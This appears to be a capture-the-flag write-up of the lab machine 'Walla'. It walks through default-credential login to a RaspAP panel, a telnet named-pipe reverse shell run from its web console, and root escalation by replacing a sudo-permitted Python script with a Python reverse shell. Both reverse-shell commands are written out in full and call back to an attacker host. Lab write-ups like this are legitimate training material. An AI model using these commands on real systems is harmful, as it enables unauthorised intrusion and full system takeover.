> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/linux/walla.md).

# Walla

Pg Practice Walla writeup

## Nmap

```
sudo nmap 192.168.233.97 -p- -sS -sV

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp    open  telnet     Linux telnetd
25/tcp    open  smtp       Postfix smtpd
53/tcp    open  tcpwrapped
422/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp  open  http       lighttpd 1.4.53
42042/tcp open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Service Info: Host:  walla; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Connecting to port 8091 asks credentials for "RaspAP". Which is Debian based software for wireless routers.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-364654d79cca912dad12ade5f6a5c4bc8a54e807%2Fimage.png?alt=media)

Looking up the default credentials we can log in with `admin:secret`.

![http://192.168.233.97:8091/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c6af87fad4963a772be8414a089517805f684dc7%2Fimage.png?alt=media)

Checking the settings we are running version 2.5. PoC exist here:<https://raw.githubusercontent.com/lb0x/cve-2020-24572/master/raspap_pwn.py>. However I was unable to get code execution from this.

Looking at the exploit code we can see it is trying to interact with webconsole.php

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5713f05914a614f88aed9dc2869ef87e8682644f%2Fimage.png?alt=media)

We can manually browse to this at: <http://192.168.233.97:8091/includes/webconsole.php>.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0cb19144a5af836af41a05103f888293dc883e5e%2Fimage.png?alt=media)

This along with telnet running on the target machine we can obtain a proper reverse shell:

```
mknod a p && telnet 192.168.49.233 443 0<a | /bin/sh 1>a
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ad1b77fb3f4fba959aaef265b060d441bcedde7a%2Fimage.png?alt=media)

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f6b10bb7e6523418b85d27dca0d4bb82ba30666b%2Fimage.png?alt=media)

Running linpeas.sh on the target reveals the following interesting information:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-587e83db622a35235122fe4ffba71ade68d42b64%2Fimage.png?alt=media)

As www-data we can delete the file /home/walter/wifi\_reset.py and replace it with a python reverse shell of the same name:

```
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.233",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /home/walter/wifi_reset.py
```

Then execute with `sudo` as root:

```
sudo /usr/bin/python /home/walter/wifi_reset.py
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2ab1271a6403e4057f9e08eb1e28772fb4f27970%2Fimage.png?alt=media)